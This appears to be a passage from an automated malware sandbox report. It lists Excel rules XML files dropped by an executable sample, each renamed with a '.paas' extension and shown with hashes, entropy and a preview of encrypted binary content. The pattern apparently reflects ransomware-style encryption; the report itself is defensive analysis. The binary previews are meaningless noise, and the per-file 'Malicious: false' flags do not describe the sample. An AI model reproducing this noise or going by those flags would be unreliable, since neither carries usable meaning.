Preview:	<?xml..n..}.0^..2.db.X...^C......0..{/u].....S..d<9..KZs..%..H.W.W/..i..Sr..!.F.n/......Zf.........J.F.%......Ul..../......>....n..)_...[./_%.."6/.C.M=d.....PM..D.$R(.lA.R...y/.LY..p...Wr...=..V......$\.{.X...\P..^..2...h{ec7./..}c&N..#...L.~...O.%.?F......v$w..`K.7}...!.....y..>.7rk....J....S.z..'.cS...\|t$CP$...8....X7..I.'.TL.>_.?...._...l....OV......R.FS<..@..c5.u.g!...#..N}M..b.7I..t......$.....Q3.,.[...<........H.....y..rMQwV...U.3O...zg..!s..J.?.Y.B..Giqp.o,_$..I.e....d..$...~..L......6........q7Q..e....N{..q...h...+.LF.Q...n=.....I/..N.....rv.7..J.e.{1... ..v.,z.-.......L,8O.'.&..l....+\|+.^.'$....d.p.B`.1IU......LO.e......<c..@.O..G>..Y?.U.....:.'.(5..D.3.....HXr`.C;..;k.. ..3.b..f8...A.T..S1.....'...m..D>e4.T..[8j...,...q..K.r.."\|...["../.j.../...\..L...{...m.....b.X..~1..(....c.....L_.....g.K.`Mj.oC9.{..n..M.l..}w.]_...6.z......y.........H..S3H..Q..4%..;.$...j0C....2.(B......$i$.e...$H_>.m.(v[U./:(. ...A.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.966531079459577
Encrypted:	false
SSDEEP:	96:xDaE0HITOvBxKlHHoix+ie/tYi++lLuU8oymDr3mcJLrYN2:pIZxKlnLa/tYELAoymDKchkN2
MD5:	43EE83893E780801C7E5C43121B0DF2A
SHA1:	11DC5FF86DAAE0AF54C0827EAC7506011628D0F0
SHA-256:	637F3899B6EF64E92AF28EC6FCC2D7532FEF7964CD07B11DB1B9EB473070F502
SHA-512:	6BE156B8C11CC86F858554630586AE4814F95B179BCF7734585F2348E4BE2F636D354CD4CB1FA630F638A827588F9400F493252DDED5C73FA1E74F8CA747A6AB
Malicious:	false
Preview:	<?xml.M.........C.G...M.....dEF^Q.{..F.......{..<Q...7.....U...?F$8{.km.a_....[.C....Z..y.; (..;..S.t>..`.S.....~.Pa..j..H+...T5..U.1..a.....ChN...TA.....%..=]..........O...5].:....yB#J....2...w.../...s.V2-.1.1.V....8..%3..<..@......b.'....?..x..s..3T8...{.K.41......I.......T.`_..j...x....U.F.<..ha.X_..X....R.R.~3.g6..~Uk...9.%...I8&..F.....&...!..^B-...2.#.@.Jh.93....%Ew)... ..h.,}V.R!...7..W_.U.v9.....$..G.8.....K.H.......?.>...DFonH.\|...7.....D..I.O..3WT9\|.U.r..4L.^ra..nE...{).<$......w.1.zp..S.2.j&.....Q.&....w.F...B..T\7......(...D.....%!.J.R7Di.......2...W....xR......2IUu..O...q.ou.:Z."...c.".....S..>."....9>....i.....-:n.yc...{.t.Q..4.u.......Q...'.........p..Oj4Fi.'L..*...H...u..l"a;.G..?...>$N..:VHE...[.A...7....,..6.#.vAz!.C..>.n....~..n@X.<L......pU+Y..S>wfY.H...W............>.y.. ......Xp...Y.v.^....e1^..{.$...N..P}j.+..B..%._%.{qfmR. .?.g.K..}Vk.....W.L.)..`...\|..1.)3.7.;.....79......?t..Zt.{,/..>.:^.)..v<.E..'.J

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.978171195396202
Encrypted:	false
SSDEEP:	192:Gg9JZXaI7F0II8FewPoQIVCwuVqrprYDrPjGGgICtjQsM76h:pXdFqwICUr+fLGGgLh
MD5:	D3AE4C210131D847285ADD79FAF038AC
SHA1:	5E546038C842BE0F6C1568F9030674EB670073F3
SHA-256:	02D4BBBD9DDE5C799527B5B80EBF6B3C252C286C7E22D742C3616882C8B6C498
SHA-512:	F79780F169BB6079F914D629D7A6A1B36B40D1C8BBC979819C8E81102327FB64B3D2DB3759B529738BD1D7AA04F6D0B37BB5DDEA7785C725901F468325474EA0
Malicious:	false
Preview:	<?xml.U....Yh}.ZK......6=O..Q^.%mC.._ ..:;+......^..D....+3W%...#8.S.=..........B...n...U.2:.B;....E.bku......I.4.l0.O..B=.V.B...@.,.....e._...'..[.Q. .e.._....%....!q...vD...Q.....U....\.=(.Q..(3.B.x..v..0..X.%[.O.V..\.T.77..(o.k...V.Zf....7;.i'.A.J;....M..e.S.......T...^l>.....D.3+...)...2....voR..m,...p.x...{..[k3.....ab...q.{$................iC..+.("..2.0.qQT...''......n...i.._...t;....4.......Jl.s...;.[\....\|.q.H.&r.....1..C.!......Wu.FIX,...F.;.<...F.."..N.. zo..:(...+...`...^.F..y..YD8....7u.iB.N...e..{.E..}bNA#&.".......r.....,..o.3........gI;.N.b.aO..../.V..1.8).T.9C..k..X.pR.Y.Y..+..d..._TR..)b\|......Yr...$..9.B..a..u..8.....>......!...GF.......`....(}...~DE.....cY>L.J.......7.....c}....$l....'B8=...Z.G...x"....).Z.....z...3.2..5.j..?.....,lOLd.'y...pm..p$.p.QCxW.._....O...].......qW.D...t]M<.W....o..=.........T...~8".$....X..B..c1..I{%)..%h.7M..8(..C:va....*E0...j..2y.......!t.r..H.p9&.y.L.........\.A.z\|..V....M..'t...p....r...F.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.97214933117973
Encrypted:	false
SSDEEP:	192:94UmTbnZKg+qforzcnksffULshiWTDE4e9NvGwjPqxvzNd:94UmPnYgZfPcCxTI4faOvb
MD5:	C3B7502426D0B398DF48A3FEBF3BF208
SHA1:	965AD2D19DF0DE0EFBCC9D61C7727EB871F83BD1
SHA-256:	5A55B6FF8E8FA731AF95FE7C17F3ED339FCC4A4FEED8A84837F4E9E8F8F7DB01
SHA-512:	868F47246E00FABD6DC1E67920326187649C5F3B9ACBF07D5495E4244CDF09AB64D3E8535F8385BC7D866E8B4671921624594C0F21A88F172B3CDE91B76D7CA2
Malicious:	false
Preview:	<?xml....OZ}\|...r..J$.3.....7.......j...._.I....6...p"..I.n..].x......l.....)..\|u..VkX..y=.;B.q.hD....)Z Z.n...!XujE..U...\|^B.q{0..T....?..P.E.[.XE.....C...sG.^..k..W....@..b#.Z..}..053......J.........-.O._i...)3Pf..q...uj..7>.Px...........5.@>..vL...g[......].GPS...d.,.3mI5x.. ....T.............T..1].Vx.Q<..)]..qh>0E..Q.]...G.qr........,(.....@\|.4.,.%.I.l...3.NF..Gl.gv&A..C`;P.y.Z.b}.\..).n....P..[..E.i......k..}.4...U.i.!.....V../F.>..+..._...k6...9.w.F.>..Fg..Y\|.d7.......ctd...=.....ER....M...X?.2.,p._c_y8Z{>......u\..~./7.3A{.z.Y&8$B.7\......g...?.=9=.\.F,..>N..3.*...Za...6.a.#.......x.?..@.P.P1..{....1]..._h.9..@....#...7.[.b....IK..B....H...r....Y..ih }.y..+..>4C.-....;TBQBY.z=7.].\u}..\...S'.\|.....UY.Q-arY...5......w.5..Q;.....Q..5Z..z...+.....o./.:a_6c....W...$...{.'5rCq.f.......f...E..b.Aa.)..J.&...!.{.;d..J......>.V.c...q..7..:..x..2..f....7H.jw..1\|...u'..9.IyqD..B........ZH6.h.\....ia..i..hs...Q...........7~..@...{^X.`......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.86684030886698
Encrypted:	false
SSDEEP:	48:32NK4rdtj18XfymRKQSNbXbvVJ5nA5pqrsbNvPbD:GPptjGym815z5gqgRv/
MD5:	E3DA64126CE67514ADE74E0519E13161
SHA1:	7551A06EB85EB3AA85E14F671545382E8432A5D2
SHA-256:	CA583D21CE6A521EDA28FFEAF0CF641961B52CE78C3917F6BE0ADA6E7192EE60
SHA-512:	7DA30D38B99F906523A64498270CC8CA68E0AD470E2116DB25F5AFD8C454DF400C5E1CF4D756F9C3E5F2F318D9449A21F6A4F7ECC29A0F6DA18CC6121E101C7E
Malicious:	false
Preview:	<?xmlF.h.BO^.._1.#..2.(...xyg....j.y. a.q.8]22.].v..`..e.........<.v.....z.E...... ..9p...7!.K.#.(@Z.....1S..$...z..XT..g].d.z3................V+..$8.%....Q.....u...o....9..n..>H.h.....!.Z\|.865...]H.H.........QF+.i...m...E.aE..A....Z...y<..G.\T.6..7dyvk.@.....3..!ig...Rv...Tmr.3.......1..F<....%K......j....9............:..]e.P..]..HD..{...m..UJH.........vr..L.\=..F..1.7..T)&.[...=.pfs..=.Rw=2.^.8..Y....7..B.5.....r.<5\..'U..DW.?.Oe.._.....3b.:....Z8p..m..9Q4..\|M._+N?0[t....h......2..f.8......t$.J.w....1.X...._0..........'..1..-..F....U..3.'..&.....d1.].7. #J....4L...b......Q...m.:......0..'.Dx..gB..q;.m..y...........41<<7...8#]I.N..~...}..&..C.4..y[.........2.ig..0^.D....m....6.A....K.U...#......CP.p..Z..3Z"....?..^i.K).......R.../`.....=t.0..\|yWk.....R..*W..t...../...W...R.].0....b.2...d9S.7F...4R.n.,.....}W.m.....Vt.+..(...-...!...m0..'...Y3..A7..i%...9........?.../.0....X.'x...{..k..y......?...P......\|.+...%..H......H.E.,.d....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.896549347520788
Encrypted:	false
SSDEEP:	24:aaMH0jMEmmhmzNxMuFayOwTUgSl2O/Svxaj8kYnF3BRw0ZPORQLTCcbD:jg0gh5Nxcyk4OKQ8kYnF3rZqQfD
MD5:	2719D474A7ADD4461080EAFE92928604
SHA1:	AB08CFDBFFBB03A0D3D961C6B31FB72D779ADB49
SHA-256:	A91D2CF38A6924CF14EE0E03D2EE7DC0973121A82EC0EE59C4E7086477D8FEE9
SHA-512:	D626A92BC4A5878D0094757EC1E465850CEF87D72F03EF708E2A03A98DA1B4F0DF3D6729B1426231D797F5624564799C9192B55DCB822E48E6E8DBF4D06F800B
Malicious:	false
Preview:	<?xml.+...].........8oq....f.^qO.q..W?;... ...1.e.S....l.K.4.....$..R{....He..k....y++......bM..;...k.UY..)....3~.1..h....".A.<...p.p..P.1...v..+...K^....~.qQ.B.G.5L..W.DGO"............_L......@..R..Tg....{...<Le......i....;j..;.0......U..fA.h..-e.....$..&j..mU...YT.R...%1g..._........4.C....}..9Q..O.3..ShU...].S.%......#.{.f.....c.."pW....A"....C7...c......o?..4B.\|/..}x.RH......K../g.Sy._t.L.W.....j.M.=d...d.......E...'..F......AI...Dy...J...L....v..."....!a..k.F?,.?H..OG... ......5C\|.7..%:.1uN.j.MK]K..Ht...m..5 .5.r<K....<.$......}....;...).......s........L......1!......].....,.XC..U.:h.....i..\|.R;..f.U/.w..P...7....1:...n."..;T..rL....7.R)...h\|...d.....d...#...s.aH..;~.@....._Q.jfBf......7.-<..#...t....5../~.....$...k..`4.._Q.Z..a.knm..v!.#...J.*".7.r{.. ...O.....%-..d.......K......EG..~D....9...0.0.. ..>.J$S..E/!%\...-8...x....1.......MI....r.../.n...X...8..A!3.C.\|..Z......j(..n..D.\|..=..M..............co@.H.k..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8807704466334565
Encrypted:	false
SSDEEP:	48:vt1cuMA6RQ7aRN/+0N2u9nK+uaKCO+Zd/oQ6D:liuMRQ7302yZBob
MD5:	6BE0C73C482DBB51FA7BA438BD4F3926
SHA1:	E8F03C2EF7148172C47770614162CC4BB77A1B9C
SHA-256:	5AF2CB5BB6E10F785EC334718C601F157F4E95245FC9379B4E87B08B3F9F5626
SHA-512:	0CD2411216B55237F4161EDB0FBD151DE241CB052593BAA4965FC8C484E9231896FEAABF617DCBDD1A3B795A6FAD9BBFAF023D24FAB72DB85ADDD9764FE4041A
Malicious:	false
Preview:	<?xml1.#.yS...i.....k....9K......,..#.....]..5.@......b..QC%.[...5g........~Bv. .&..}.In.[........`..!.._..C..l.lAb...M.0.2S..%L.f.a...Q..N].......c.\=...!}.<..>A.`h...2.0.....\...o....%....m...2~"K..7QHf...W.. ..p.=.1..o.{\T\|a.A...E.=.lYV..?_h">. ........`M.uz.Lh..L.s..$gi..@J.e$..hb..l`.O...!.Fsu.."........._P....M%...."`....NQa.G.h.N.%.Eh1./.F.?be..V4v...f.'..OB".L.Vn.....<[......Z.w).w....c.JH...-./..q.....l.wu..mT....R...jJp../.....Z.XcY.4....~.?X!...w...^$s<.~...Dg..\|.;.&~..IK.t....c+B....3.R.....W.S...P:..u.....G..)\|w.&f...)!4...{V....[..d.w.2........Ws.s.0p...F....u.c...p.oqpa...%.....2.>5.t.NJ.~.....i....d.EB....cda(o.......w.75..m.V.....)S.b:qF"75...b..T.G}...m...p.MK...[..\.D..v.w.....a.?\|.<.\.5....t..5.W......^...W...m.".:{~W`..<...j.../......z.A.9...K#.R_x...G{~.(..AV.5.?R.e......P...cKwJxp.yI.:f/..j...SG.m...)'.......)/.a..T.......!...^...B....-aGR'..Z=....Q..Z...(.F.4.%.}\|...ex.....h....j....9.`.y..HRq..c.o.$K.h.z../Xf..+.i...r

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.849208250891786
Encrypted:	false
SSDEEP:	24:VlUB4OltR8fnFdFL1k8PWa52IeXCR2U/h8LbKMP+fPTUOsoX3lP0uSuPwMeeOEK4:7ADltR8fnTFL+kWavb/SCjrXsy3l/SuV
MD5:	238EFA685B5F2F2C84D1FAE766E4E095
SHA1:	4B53483D803B9F315EC83F4A084D45BE4F3A3678
SHA-256:	1422131E50963C7831EB0E4A0743D6684BF5C94A902901C87998C9B47CA9170E
SHA-512:	C7084D51A9695D016E50B1DEB7AA059B582AD4ABF8E04C454AEB8AAFF62C67A8EA42F9704E930495B22B820957EA5E262AA4830195FCB32292C6C60501359609
Malicious:	false
Preview:	<?xml...GJ..qie.G..v.....8"....s.Ru`I.vZQ..U.QF...f....1.y..o{....q.....).z.\d.`....y.y.<..\%6.`.(...G.w.d(-.?...L.n...$Jo.< .H.^a...M]..FU5...B._...N.\.o@...~.Ch..4.w..gB..U.....Oi)i.C.....W...=.n..l~.6e..*r..(..PT...m.~Z.+.n?.......!.t......rj.G..%...#."\|.....&A.S.......V..z?....1...q...z$.S_.i.eMg...V."..->..Y....\|+..6.,.i.i....k,.3.g ..#.w.#..7.z6....]...~.1F.zF.;/W.>..I.fg~.$.U..N.M.[..K."$..!fD...:,.U...y.5...B.o..K..;E.r.w..F.....ku].C2.`.w.iP<{.k....n.V.+...b...H@j.;..Wu^t....k.`t\|....o...t...2....R0.a...Y.....L.)T...v.)..y#2n@.[t..QlV\m.2..l...U..Av.....f.gB]...:Ho..3A....[2......r........YH#.^...Wf....0..;[F..L..'.....>C..um.....^.gs..i...+.]'...H.:...O...n.u..O.1.t)1...\|.{a.`.a(..5.V5a.@f.S[\|........,.{....\|V,(+c..#..[.y"hF.[w.....HA...4....s"...`.KYSS2{N..;..].\..G.;f@q=.(..........?..@0+>.G.P...a?.HT....H..U7?=....7.CF....%......^x6_.T..`.K.4j.O)w..?`.X.&.lW......J...S...8..4...x.s..3...V..z...cc..h...J...........E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.8635654416001115
Encrypted:	false
SSDEEP:	24:4nNuI0egA7Z/cIQkJm4Nzloo3R5M6KhCXfhEOX7tOXHzj2f1dd9b5F3ouIRkefF7:4nNt7VkIQkJtNz6ohScNX7tiH2f1nHIZ
MD5:	B506A3338ED8C606A52D52D05F74A6D7
SHA1:	432EE361AC9A208FF48AC73E9159A5DBE07E35A0
SHA-256:	0881BEBB2D9AE68B4B8C98D45BF4167078BA5F100A176E13F446D42411C2FECC
SHA-512:	B32402DF8E354415F28D1AA4D472296A47A0294E46FBB4AFF76A26256EF87C7735BDAD3AA83A09536EC0DF9533725A4995359592481D215DDC56EBF7D303C4F2
Malicious:	false
Preview:	<?xml.N.Z...r...s...z...d.,......$l. J.Q.=/..c........x..g6........-..Pk;( ..\|.....wMh..[...M..?.%.d......(P=..j.!Tx..l7 .>Z.."4..J.$.2s........-....gwIr..n..c..K.......}to..kB..{+.7..l...u).8.<....2b..'$...`.d..cx.....7.7....s...5...Xy....R.hu(.C.ZU!..z.W..._.7p.=..........j...C...Eb..G.z.\|..&.M.uz....t.ej...E.&.._.j..4e.>s...p..-...n.Id}.....7:.;s..8.!..'.!.V.>i..(...U\|)Y......{.......2..#.e..l..a;a.+..<...P..F{0..".A.6z.........E...4.A_.{)....C'..".......ez...B.z.\.PV...O.O.(...{.'.:Fg..fS......A/.....J.6..".)Z....v..BeO.O.tb..o..$...7..~h...v....ot....sJb.y...0.......1.aum....{.7.:.f'a.a.\..Xr.ds;.K^..j.....g..j.../..........R.mbi....E......0.T.....n#H.e(.K.....Q.]A.W...G..@.;.!yzGB#e..J.)..lIr!!.....J..Y......'...6w...{p..c.S......y.H.;ZQ....G....].-}..s.X.U'.GD..r(>[.M<..;y...m....A&..eD.I.\.4.Hfd...N..^{<'p@}..(...X.!.,8'.....`.!.<..D.MF....#..KM.h.2.(.iV"...U.Y3..Z#....Gl...C....3C.P....=Z..jHnR...O*..OI3....c.)y......Gk...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.87257463911597
Encrypted:	false
SSDEEP:	24:RFr+uj6zChUGJKTJifujgovKoEONPFCAWorz1eRjQ4Q1wzAUrD48fyeRbD:R57j6uhlBm9CeuAW68fQ1oAyDvBD
MD5:	52E812699F46D615DA21F93A6CD0120A
SHA1:	B9ECAEE86907E13D30F6FAF3B3791E503134D4D0
SHA-256:	0165E0C4CB5F6C0F873C9E03FE43B0A92626D0BFBAA7EDF302AD6EE651FBA04B
SHA-512:	BBC044ADDC4837C680CF030309D691D0EC13D100967519495E50A875A79C7BC9FA53A2A96D9045A47CB93AEAE65FB2A31DE633988CBC12195B27C35C14304B4A
Malicious:	false
Preview:	<?xmlAm....)...,.8.....g..lzKEQ...qF.....y6..E.\|.Q..e..H.h..sJ>x..e.....h..........l.........N).b.@}..".g...B.@G. .7k......$..d.W~."E6.7.%..T.<.jh.:.>..)....V^VE....Y.'v.2..W...G0.8..W...$".Z.O.a..I....wDv..S..Y>H....EU.=.#G.4.J.&..h4....m.d..".i...d%F\|.9..7.......,.6.........i.`3.W!G..kM..b...6v..B..^d...6A..T.]..b..Q...R8....2U.j...:.+.v^..e.v..z~......A......3./..<.Q.,....-I,.G.NK.......)..(B..........dy.dL..../Y.&.....t.NA#..y.TJ..R"......c...>....vy.e..E.k..n.T..w{ .6EJp...CV....ng..R!S[..N.'+.M...8r...gx..-[.#....u..z..5.........w....q2y.Y&..m..[.b......g...i..en.....X....\.j..oa.q..>.k...O..#^.<..... ..+....D...T.>......)2<...R..A.P...lF$..4,\9..#....N\.w..b;:.........u..MS.]..$u.D.r....o.\.R..4.p...}b!i.{.%DUZ...7.K....nS...lM../.D....0`<I.:..o...h..5.{...)A.&.#..&.w.<.>...<?d..@R.$..D.?I...(>.X..#{.}...AI9..[..../.d...W..WqG4.d.1q..>........a.Yj.l.J....v...5....Ji.tN..L.....>..B.9'._h,....+...k#-H<...\|k..H.....}..\AQ.?.-&P...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.764624051053089
Encrypted:	false
SSDEEP:	24:rSluRgioY0wSplaNaYS7rEZxeEenSy7rlJF9bbD:r8uRVoY0+aYSkWbnSy7/F9fD
MD5:	F13B1ADA3A855B6CAF5D272C314C5806
SHA1:	2D6F3A1E643E8C42669F5A3E475F97158C3CE8B7
SHA-256:	E9EF3F1B9BC74D5EB3F1E9D3992F8F818CD02A034CA2408ABD8FAD1122DFB92E
SHA-512:	AE8BED24B6D3BBEF3A8E4841BA904D7CC4B572D1FC65F017A2DF56A01BCD90F4BEB1C27CBE735257703E006ECBC8306207D3E3554795A734B3DBD992AF5DEFAC
Malicious:	false
Preview:	<?xml4c...FG.....?......U.n.. ..U...q...b..E....}..].....b.f....(....z[...>J%.....Z..m>8..o..&..Abm.<&....t.9..8.....5>..q.. ,l.fN.\|..1Yc.2.R....<.!....t-.D.<3... 8.....-c..J....W@...8...w....j.4...u...6....qY..!...:>1.AO....=;8l.W.#.......<...By.-....e......3j.h...v@.....RdLX..n\$Fv..t....j.h...3L.0+....>..A@.Q...4...V....3.<.Z6.)b....5.....o.d..."....1..b.[0%.....2_'<.C8.......b.q..OU.....HI....u.@.R..f..g..........\|..u. zf.@K..!(.I...,u=/4..X..7..2Z.....zs...nS..i._..%..+)).g...t....lE.M5..[..\.vs@.......'>\|..,'.lu)....H.af.T.@.P...!..~.D..'.t.\|....xp.3.....a.U.../.I.2l.........ZWr.......]}........\../....Pt.....6...c..C.NJ?o.eE.&....e.........\|..X.m...ge./l.......f...K.Y@U......}:!.T4'V...".=.X0..c^!..\V.........Hr...\|.h]....^z..!D.m......V}YGc........F..tG...M..~.".5.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.9444087419234695
Encrypted:	false
SSDEEP:	96:ZY4Lc/1pjDQNkIRjVSjwu7NRYJiVjKxECoMf3a2SbxNly:nEpjDQWIRjVawuzkghYAxNly
MD5:	3DEE058364F79350E0779EA059575CAF
SHA1:	FEB69B29F199FC1EA61E11E126123553B22FE0F4
SHA-256:	6D40A7049698D432361C1546467861AA5F97736B78EAEC50E3EC91E6A4452271
SHA-512:	08F0A90D0C871D1172083D3395AB41FE13614E2E9F1A0341FA85FEDAC17D237B2D99A4C50F6368B72A86E5E12EECB71125D2D03CE377F090B335D28E0F814F92
Malicious:	false
Preview:	<?xml.......l`.Lf[.2..<.l.........$p.`......jx..>1...z..y.KP/...y...%k4....@`..o..m8....\t..z.X.^.r.........?...n....+n@..T.I....>......c.....I0..-.1... ...~Kb.ck.s...W\|...x.9N.W.c.WG......r...]..D...a..g......+.:X.:(..("@..f^..=....K}...V..F.I..O.Z.R5.04....n..=-.a.1.0#.N.U.w8u..C(....d.......F....p....._.r?..T..Xr....K.[..1....s....N..O..5.g....../.zCw.C...v.Y..B...ZJp.....!..@5...._.#...(."...E.8.....z.YJr...@E....'.(e.4.'.z2`S/S.....y.H%Jw=....15o....\..4..?rD..AV..].M..B%.s.>..(~..r.\|.p...b...'.....~.."W_f...5.......d.'...v..k&.}.........b....%.....>9..F.\|..K.....6E]...#..Qb.nV.j...DG0..K...tT....h..O..<m..8.].1....*np...i.......I.+..~>.2'.Q..@i.`.+?..6..2...qlH.[.....A.{..4.../[..(7q.E?....%."N.......e..bO^.1..P.L<].X..f.VnK-.-.;...=.5UA..h..0..wQ6..........;...-.LP........%u.U.....K.F.P/..oQ.....h.4..'&%....n..9.............mS(..V.n>m....8...2O.....{&9.k. .A...RL.-.FT..q}zW.}/.y.{]..tE..p.......DhN...+..X.g.?_..b..#;.W.D.E.......?T.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.951254503530073
Encrypted:	false
SSDEEP:	96:T1W1z1qy/m86Yw9NkfZEWpI6TuSvlLgWjyo0T7bHRZPK+V:w11/m863NeXp0SvhubTye
MD5:	1E1EA74A898A066C8F860A7E87ED7C9A
SHA1:	9F69BFCDDC422481158E97F54FA09F3BD7512D8E
SHA-256:	578B2CCEFD8144409A28F860894A957B1E2B915C9465D0B5FCD4C77E343CEC39
SHA-512:	7F7634D24C6C3D96C7C9D5CB9C8DEEE91C05252AC8C9CAECA4CC5A03A2AE52290E4432D340C9E9F05A6DEED854213CD5F23FF599F32C7E70EE4B63DE29020576
Malicious:	false
Preview:	<?xml..A@.4.k9V......c7.v.3cl.P...-$.d.:V.lg.y.>.\.MQ..3VE.......Fm....gV }.....p..8..;XX.i.....5..P~e..A..b..Rv'6R.)..V....7J.%u....k..%.......%...1j...0..lu..yI,...i.A./8.>...:..LN...w.d.\.%I\...1.....u3.......zSij.T95.U2..iX.x.v.<...z.1.9D..o.....Dp..N.......k.X.nNZ.....8......D0B..#.k.L.#..;t......h....^U..XQB[..~N..I1....i......geaD43RIS.p.\|.,..-..D.5.m.R&........@...U..sjG.A...su......<.mN&.%'cX...uG....-BF#S0....P...n.....9$K...G.ysp..8.T.[W.#.,...2..`.....)..?n..Nw5z%...w.C......d....m~.09.....DB?.{=...".8i...v'm...AULQd.s..(.5.M..(..@.....N..]......I..p#J.4=3.C.9..O...E...m(F..9..u. y.].!.Y.............N.......;'."g....M78......B.j.<.[j.!.3}...J..g...Mx..BX.....KZ...iP{"..(Hu..,...O.Z.0-:r.._...iS.\|...A......$.Z.eE...".........k......U....n.'...b.\8..../r...z...;.k.yj.!.(.c.K.t(..D.....f......6...yP..\2i.k..d......6...Z.G. ...f.H.Dzq.,..:.J.".+.`.~...-..rK.%.......0......X?..;..y...[\.n...y.@2..Wx.n...K.i...LcAP+.*..O..<.=.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.725627586980409
Encrypted:	false
SSDEEP:	12:OVV//7uUmozjBsTVF62Dv6m/3ULUNSghRGSSyMbc3lj4wuPqY/f12evS2cii9a:OVlnmohAVZ76m/U9ghVMbapuRFT/bD
MD5:	28CA23818467724DAB4968594F84519E
SHA1:	2B03C4C91ADC5AA4C950529E7060A82CD8D4ADBB
SHA-256:	39E3A7A79F6F9C0BEEAF19E95B8839A731F71D6569CD71EF05D77DBEBE197080
SHA-512:	D124805802B0DA18A9DB02E3E3DF93B275DBC1C451A5E2F171BFAB5C7AA97652CBBD6538B2311C34DC03157BEF6CB529D2E824D43A1708FFE247CAA1BABA3A06
Malicious:	false
Preview:	<?xml..q.&......_i...gy./b.......Tp....).T....LG%..W9..(T..Nk..7!..g)}N..S...,..Z..K.}_....!v...#F..d..e..!M~..B(.q...p!.l~G.!...(D.5..Um~S....Y..O..m..$.p?.....$,JV.....O.R..,3..d....yV...A........;t...w....N.\q<...?...P.....,....z<..9.YO\|+0.j..Ug?KX.......tK1..TEz.....`W..s.-..X...g..w...`h....4X......T...QJ.ce"..(R,% .{..x.J.Ks...4!.C!D....4J.P...<.<.$...v.b.h.".b.?.s.;.5..UY.U..y.Yy...x...B...V..a........Q5..Z....zM79...`.l......t......x...G.8.f..3..7\|..X.+.15I@..b.\|0._.R$...S*.Py.W...BO...t.....n...F.2.s..k....!..L..%C....O..-..u..[..+..8......M.d%F.C..8<..0...._.....me........r...mG....O...-s....i.";n..#_.) .9-kH..c.R.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.86555902409865
Encrypted:	false
SSDEEP:	48:xcB/bWBFjQTcD/OicKZ9YOvjs1pPf8B/D:iJiXQQD2+sQaZf8Br
MD5:	8FFC464CE2FC73B8F0CC1D555FA49311
SHA1:	6E8FE7457A14ED323185AA25D6491809487D87BD
SHA-256:	7871542644590210EE94AF626C48F6F725EC540BF34A968FE07681F77815537C
SHA-512:	9286BF727661FD9004E8204CCC98FFE8C34333E9A5877FBC9CACD74A0E54391E6D81FB1363DD1FF6655CDD82408877348196912F0C493972205C35DB40AAECFC
Malicious:	false
